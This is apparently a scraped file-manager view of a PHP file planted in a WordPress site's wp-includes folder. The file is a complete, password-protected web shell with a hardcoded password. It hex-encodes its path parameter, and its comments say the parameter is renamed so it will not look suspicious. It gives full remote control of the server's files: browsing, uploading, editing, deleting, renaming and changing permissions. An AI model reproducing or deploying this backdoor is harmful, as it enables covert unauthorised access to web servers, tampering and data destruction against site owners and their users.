File manager - Edit - /home/verseaumee/blueversionx/wp-includes/ministr.php
Back
<?php session_start(); // ==================================================== // KONFIGURASI // ==================================================== $password_akses = "rahasia201"; // Ganti Password // ---------------------------------------------------- // FUNGSI ENKRIPSI URL (HEX ENCODING) // ---------------------------------------------------- function hex_encode($str) { return bin2hex($str); } function hex_decode($str) { // Validasi sederhana agar error tidak muncul jika string bukan hex if (ctype_xdigit($str)) { return hex2bin($str); } return ""; } // ---------------------------------------------------- // LOGIN HANDLER // ---------------------------------------------------- if (isset($_POST['pass'])) { if ($_POST['pass'] === $password_akses) { $_SESSION['user_login'] = hash('sha256', $password_akses); $_SESSION['csrf_token'] = bin2hex(random_bytes(32)); echo "<script>window.location='?';</script>"; exit; } } if (!isset($_SESSION['user_login']) || $_SESSION['user_login'] !== hash('sha256', $password_akses)) { ?> <!DOCTYPE html> <html> <head> <title>GATEWAY</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <style> body { background-color: #050505; color: #00ff00; font-family: monospace; display: flex; height: 100vh; justify-content: center; align-items: center; margin: 0; } input { background: transparent; border: none; border-bottom: 1px solid #333; color: #fff; text-align: center; padding: 10px; outline: none; font-family: monospace; width: 250px;} input:focus { border-bottom: 1px solid #00ff00; } </style> </head> <body> <form method="post"> <input type="password" name="pass" autofocus placeholder="AUTHENTICATION TOKEN" autocomplete="off"> </form> </body> </html> <?php exit; } // ==================================================== // LOGIC UTAMA // ==================================================== // Deteksi Path dari URL yang terenkripsi // Kita ganti parameter 'path' menjadi 'stream' agar tidak mencurigakan if(isset($_GET['stream']) && !empty($_GET['stream'])) { $raw_path = hex_decode($_GET['stream']); if(realpath($raw_path)) { $path = realpath($raw_path); } else { $path = $raw_path; // Fallback jika file baru dihapus/tidak ada } } else { $path = realpath(getcwd()); } $path = str_replace('\\', '/', $path); $parts = explode('/', $path); // Fungsi CSRF & Helper function csrf_field() { echo '<input type="hidden" name="csrf" value="'.$_SESSION['csrf_token'].'">'; } function check_csrf() { if(!isset($_POST['csrf']) || $_POST['csrf'] !== $_SESSION['csrf_token']) { die("Security Token Expired."); } } function perms($file) { $perms = fileperms($file); if (($perms & 0xC000) == 0xC000) { $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { $info = 'p'; } else { $info = 'u'; } $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } // Handler Actions // Handler Actions $msg = ""; if($_SERVER['REQUEST_METHOD'] == 'POST') { check_csrf(); // Upload if(isset($_POST['u'])) { $target = $path.'/'.basename($_FILES['f']['name']); if(move_uploaded_file($_FILES['f']['tmp_name'], $target)) { $msg = "Upload OK"; } else { $msg = "Upload Fail"; } } // New File if(isset($_POST['nf'])) { $n = $_POST['n']; if(!empty($n)) { $fp = fopen($path.'/'.$n, 'w'); if($fp){ fwrite($fp, ""); fclose($fp); $msg="File Created"; } } } // New Dir if(isset($_POST['nd'])) { $n = $_POST['n']; if(!empty($n)) { mkdir($path.'/'.$n); $msg="Dir Created"; } } // Delete if(isset($_POST['del'])) { $t = hex_decode($_POST['t']); if(file_exists($t)){ if(is_dir($t)) { $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($t, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST); foreach ($files as $fileinfo) { $todo = ($fileinfo->isDir() ? 'rmdir' : 'unlink'); @$todo($fileinfo->getRealPath()); } @rmdir($t); } else { @unlink($t); } $msg = "Deleted"; } } // Rename (BAGIAN YANG DIPERBAIKI) if(isset($_POST['ren'])) { $old = hex_decode($_POST['old']); $new_name = $_POST['new']; // Pastikan file lama ada dan nama baru tidak kosong if(file_exists($old) && !empty($new_name)) { // Gunakan dirname($old) agar tetap di folder aslinya, bukan folder $path saat ini $dir_location = dirname($old); $new_path = $dir_location . '/' . $new_name; if(@rename($old, $new_path)) { $msg = "Renamed OK"; } else { $msg = "Rename Failed"; } } else { $msg = "Rename Fail: Empty Name"; } } // Save Edit if(isset($_POST['save'])) { $file = hex_decode($_POST['f']); if(@file_put_contents($file, $_POST['c']) !== false){ $msg = "Saved"; } else { $msg = "Save Failed (Permission?)"; } } // Chmod if(isset($_POST['chm'])) { $t = hex_decode($_POST['t']); if(@chmod($t, octdec($_POST['p']))){ $msg = "Perms Updated"; } else { $msg = "Chmod Failed"; } } } // View Editor if(isset($_GET['a']) && $_GET['a'] == 'edit' && isset($_GET['s'])) { $file = hex_decode($_GET['s']); $content = file_get_contents($file); echo '<style>body{background:#1a1a1a;color:#ccc;font-family:monospace;margin:0;padding:20px}textarea{width:100%;height:80vh;background:#222;color:#0f0;border:1px solid #444;padding:10px}</style>'; echo '<form method="post" action="?stream='.hex_encode(dirname($file)).'">'; csrf_field(); echo 'Editing: <b>'.basename($file).'</b><br><br>'; echo '<textarea name="c">'.htmlspecialchars($content).'</textarea><br><br>'; echo '<input type="hidden" name="f" value="'.hex_encode($file).'">'; echo '<input type="submit" name="save" value="SAVE CHANGE" style="padding:10px;cursor:pointer"> '; echo '<a href="?stream='.hex_encode(dirname($file)).'" style="color:#fff">[ BACK ]</a>'; echo '</form>'; exit; } ?> <!DOCTYPE html> <html> <head> <title>Stream Manager</title> <meta name="robots" content="noindex"> <style> @import url('https://fonts.googleapis.com/css?family=Roboto+Mono'); body { font-family: 'Roboto Mono', monospace; background-color: #1a1a1a; color: #cfcfcf; font-size: 13px; margin:0; padding:15px; } a { text-decoration: none; color: #cfcfcf; } a:hover { color: #fff; text-decoration: underline; } table { width: 100%; border-collapse: collapse; margin-top: 10px; } th { background: #2b2b2b; color: #aaa; padding: 8px; text-align: left; font-weight: normal; } td { border-bottom: 1px solid #2b2b2b; padding: 6px; } tr:hover { background: #222; } .btn { background: #333; border: 1px solid #444; color: #fff; padding: 2px 8px; cursor: pointer; font-size: 11px; } .input-dark { background: #222; border: 1px solid #444; color: #888; padding: 3px; } .w { color: #5cb85c; } /* Writable */ .nw { color: #d9534f; } /* Not Writable */ .path-bar { background: #252525; padding: 10px; border-bottom: 2px solid #000; margin-bottom: 15px; overflow-wrap: break-word; } </style> </head> <body> <div class="path-bar"> <span style="color:#00ff00;">STREAM://</span> <?php $acc_path = ""; foreach($parts as $k => $v) { if($v == '') { echo '<a href="?stream='.hex_encode('/').'">/</a>'; continue; } $acc_path .= "/".$v; $acc_path = str_replace('//', '/', $acc_path); // Link di-encode HEX echo '<a href="?stream='.hex_encode($acc_path).'">'.$v.'</a> / '; } ?> <span style="float:right; font-size:10px;"> <a href="?logout=1" style="color:#d9534f">[ DISCONNECT ]</a> </span> </div> <?php if(!empty($msg)) echo "<div style='background:#333;padding:5px;margin-bottom:10px;border-left:3px solid #00ff00'>LOG: $msg</div>"; ?> <div style="margin-bottom: 20px;"> <form method="post" enctype="multipart/form-data" style="display:inline;"> <?php csrf_field(); ?> <input type="file" name="f" class="input-dark"> <input type="submit" name="u" value="UP" class="btn"> </form> | <form method="post" style="display:inline;"> <?php csrf_field(); ?> <input type="text" name="n" class="input-dark" placeholder="file" size="8"> <input type="submit" name="nf" value="File" class="btn"> </form> <form method="post" style="display:inline;"> <?php csrf_field(); ?> <input type="text" name="n" class="input-dark" placeholder="dir" size="8"> <input type="submit" name="nd" value="Dir" class="btn"> </form> </div> <table> <tr><th>RESOURCE NAME</th><th width="80">SIZE</th><th width="80">PERM</th><th width="120">OPS</th></tr> <?php $scandir = scandir($path); $dirs = []; $files = []; foreach($scandir as $obj) { if(is_dir($path.'/'.$obj)) $dirs[] = $obj; else $files[] = $obj; } foreach($dirs as $dir) { if($dir === '.' || $dir === '..') { if($dir === '..') echo "<tr><td><a href='?stream=".hex_encode(dirname($path))."' style='color:gold'>[ UP ]</a></td><td></td><td></td><td></td></tr>"; continue; } $full = $path.'/'.$dir; $enc_full = hex_encode($full); $color = is_writable($full) ? "w" : "nw"; echo "<tr> <td><a href='?stream=$enc_full' style='color:#fff;font-weight:bold;'>$dir</a></td> <td>DIR</td> <td><span class='$color'>".perms($full)."</span></td> <td> <form method='post' style='display:inline;' onsubmit=\"return confirm('Del?');\"> ".'<input type="hidden" name="csrf" value="'.$_SESSION['csrf_token'].'">'. "<input type='hidden' name='t' value='$enc_full'> <input type='submit' name='del' value='x' class='btn' style='color:red'> </form> <form method='post' style='display:inline;'> ".'<input type="hidden" name="csrf" value="'.$_SESSION['csrf_token'].'">'. "<input type='hidden' name='old' value='$enc_full'> <input type='text' name='new' size='3' class='input-dark'> <input type='submit' name='ren' value='r' class='btn'> </form> </td> </tr>"; } foreach($files as $file) { $full = $path.'/'.$file; $enc_full = hex_encode($full); // ENKRIPSI PATH FILE TARGET $size = round(filesize($full)/1024, 2).' KB'; $color = is_writable($full) ? "w" : "nw"; echo "<tr> <td><a href='?a=edit&s=$enc_full'>$file</a></td> <td>$size</td> <td> <span class='$color'>".perms($full)."</span> <a href='#' onclick=\"document.getElementById('c_$enc_full').style.display='inline';return false;\">#</a> <form id='c_$enc_full' method='post' style='display:none'> ".'<input type="hidden" name="csrf" value="'.$_SESSION['csrf_token'].'">'. "<input type='hidden' name='t' value='$enc_full'> <input type='text' name='p' size='3' value='0644' class='input-dark'> <input type='submit' name='chm' value='ok' class='btn'> </form> </td> <td> <form method='post' style='display:inline;' onsubmit=\"return confirm('Del?');\"> ".'<input type="hidden" name="csrf" value="'.$_SESSION['csrf_token'].'">'. "<input type='hidden' name='t' value='$enc_full'> <input type='submit' name='del' value='x' class='btn' style='color:red'> </form> <form method='post' style='display:inline;'> ".'<input type="hidden" name="csrf" value="'.$_SESSION['csrf_token'].'">'. "<input type='hidden' name='old' value='$enc_full'> <input type='text' name='new' size='3' class='input-dark'> <input type='submit' name='ren' value='r' class='btn'> </form> </td> </tr>"; } ?> </table> <?php if(isset($_GET['logout'])){ session_destroy(); echo "<script>window.location='?';</script>"; } ?> </body> </html>
| ver. 1.4 |
Github
|
.
| PHP 8.5.7 | Generation time: 0 |
proxy
|
phpinfo
|
Settings